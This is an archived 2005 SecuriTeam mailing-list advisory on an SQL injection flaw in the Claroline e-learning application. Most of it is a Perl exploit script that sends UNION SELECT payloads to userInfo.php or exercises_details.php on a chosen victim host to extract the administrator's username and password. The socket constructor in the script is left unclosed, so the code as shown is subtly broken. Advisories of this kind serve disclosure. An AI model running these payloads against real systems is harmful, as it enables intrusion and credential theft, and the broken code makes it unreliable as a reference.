[EXPL] Claroline E-Learning Application Remote SQL Injection

• Previous message: SecuriTeam: "[UNIX] Yaws Webserver Code Disclosure"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 19 Jun 2005 18:44:07 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  Claroline E-Learning Application Remote SQL Injection
------------------------------------------------------------------------

SUMMARY

Claroline is "an Open Source software based on PHP /MySQL. It's a
collaborative learning environment allowing teachers or education
institutions to create and administer courses through the web". An SQL
Injection vulnerability has been discovered discovered in Claroline
E-Learning, the following exploit code will return the username and
password of the administrator user of the product.

DETAILS

Exploit:
#!/usr/bin/perl
# Claroline E-Learning Application Remote SQL Exploit
# [K-C0d3r]
# This tools and to consider only himself to educational purpose
# Bug discovered by
# Greetz to mZ, 2b TUBE, off, rikky, str0ke, x0n3-h4ck, MWC
# [K-C0d3r]

use IO::Socket;

sub Usage {
  print STDERR "Usage: KCcol-xpl.pl <www.victim.com> <path/dir>
<target_num>\n";
  print STDERR "Targets:\n1 - userInfo.php\n";
  print STDERR "2 - exercises_details.php\n";
  exit;
}

if (@ARGV < 3)
{
 Usage();
}

if (@ARGV > 3)
{
 Usage();
}

if (@ARGV == 3)
{
  $host = @ARGV[0];
  $path = @ARGV[1];
  $target = @ARGV[2];

  print "[K-C0d3r] Claroline E-Learning Application Remote SQL Exploit
[K-C0d3r]\n";
  print "[+] Connecting to $host\n";

  $sqli =
"%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null";
  $sqli .= "%20FROM%20pn_users%20WHERE%20pn_uid=2/*";

  $socket = new IO::Socket::INET (PeerAddr => "$host", PeerPort => 80,
  
  print "[+] Injecting command ...\n";

  if ($target == 1)
  {
    print $socket "GET http://$host/$path/userInfo.php?uInfo=-1$sqli
HTTP/1.1\nHost: $host\n\n Connection: Close\r\n\r\n";
    while (<$socket>)
    {
      print $_;
      exit;
    }
  }
  if ($target == 2)
  {
  print $socket "GET
http://$host/$path/exercises_details.php?uInfo=-1$sqli HTTP/1.1\nHost:
$host\n\n Connection: Close\r\n\r\n";
  while (<$socket>)
  {
   print $_;
   exit;
  }
 }
}

ADDITIONAL INFORMATION

The information has been provided by K-C0d3r.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[UNIX] Yaws Webserver Code Disclosure"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]